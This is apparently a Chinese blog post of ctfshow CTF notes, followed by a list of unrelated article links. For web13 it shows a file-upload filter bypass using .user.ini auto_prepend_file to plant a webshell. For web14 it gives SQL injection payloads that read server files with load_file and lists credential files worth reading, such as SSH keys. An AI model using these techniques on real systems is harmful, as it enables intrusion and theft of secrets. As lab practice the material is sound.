当前位置: 首页 > backend >正文

做题笔记(ctfshow)

一。ctfshow web13

文件扫描

存在upload.php.bak

<?php header("content-type:text/html;charset=utf-8");$filename = $_FILES['file']['name'];$temp_name = $_FILES['file']['tmp_name'];$size = $_FILES['file']['size'];$error = $_FILES['file']['error'];$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if ($size > 24){die("error file zise");}if (strlen($filename)>9){die("error file name");}if(strlen($ext_suffix)>3){die("error suffix");}if(preg_match("/php/i",$ext_suffix)){die("error suffix");}if(preg_match("/php/i"),$filename)){die("error file name");}if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功!";}else{echo "文件上传失败!";}?>

我们要上传一句话木马,文件大小要小于24字节,名字长度要小于9,后缀小于等于3,名字中不能有php(抓包修改也不行)

所以要上传一个.user.ini,内容为auto_prepend_file=1.txt

用蚁剑连接

可以测试成功却无法操作

改为网页指令

这里可以用web12的指令

开头带有四个文件

二。ctfshow web14

-1/**/union/**/select/**/version()

检索当前数据库系统的版本信息。

-1/**/union/**/select/**/load_file('/var/www/html/here_1s_your_f1ag.php')

  • /etc/passwd → 系统用户信息(但密码哈希通常存储在 /etc/shadow)。
  • /var/www/html/config.php → 网站配置文件(可能含数据库密码)。
  • /proc/self/environ → Web 服务器环境变量(可能泄露敏感信息)。
  • ~/.ssh/id_rsa → SSH 私钥(如果权限配置错误)。

用-1/**/union/**/select/**/version() 测试出了可以弹出version值

说明可以注入

-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

-1/**/union/**/select/**/load_file('/real_flag_is_here')

http://www.xdnf.cn/news/12847.html

相关文章:

  • LeetCode - 145. 二叉树的后序遍历
  • JavaScript 内置对象全解析
  • QRadioButton(续)+ CheckBox + QLabel(2)
  • 【Go语言基础【20】】Go的包与工程
  • c#,Powershell,mmsys.cpl,使用Win32 API展示音频设备属性对话框
  • JavaWeb预习(jdbc)
  • 拼多多官方内部版 7.58.0 | 极限精简,只有2.5M
  • 【笔记】Poetry虚拟环境创建示例
  • Prompt Tuning(提示调优)到底训练优化的什么部位
  • DiscuzX3.5发帖json api
  • maven 1.0.0idea的使用说明
  • Vue3学习(watchEffect,标签的ref属性,计数器,defineExpose)
  • SpringCloud学习笔记-4
  • 实验二:数码管动态显示实验
  • 建造者模式深度解析与实战应用
  • WEB3技术重要吗,还是可有可无?
  • STM32入门学习之系统时钟配置
  • K8S认证|CKS题库+答案| 7. Dockerfile 检测
  • 五、jmeter脚本参数化
  • PHP中如何定义常量以及常量和变量的主要区别
  • Spark流水线+Gravitino+Marquez数据血缘采集
  • java综合项目开发一课一得
  • 使用 Melos 高效管理 Flutter/Dart Monorepo 项目
  • 用 Melos 解决 Flutter Monorepo 的依赖冲突:一个真实案例
  • Python 包管理器 uv 介绍
  • 基于PostGIS的各地级市路网长度统计及Echarts图表可视化实践-以湖南省为例
  • 支持selenium的chrome driver更新到137.0.7151.68
  • 时序数据库IoTDB结合SeaTunnel实现高效数据同步
  • 七、Sqoop Job:简化与自动化数据迁移任务及免密执行
  • Ubuntu20.04中 Redis 的安装和配置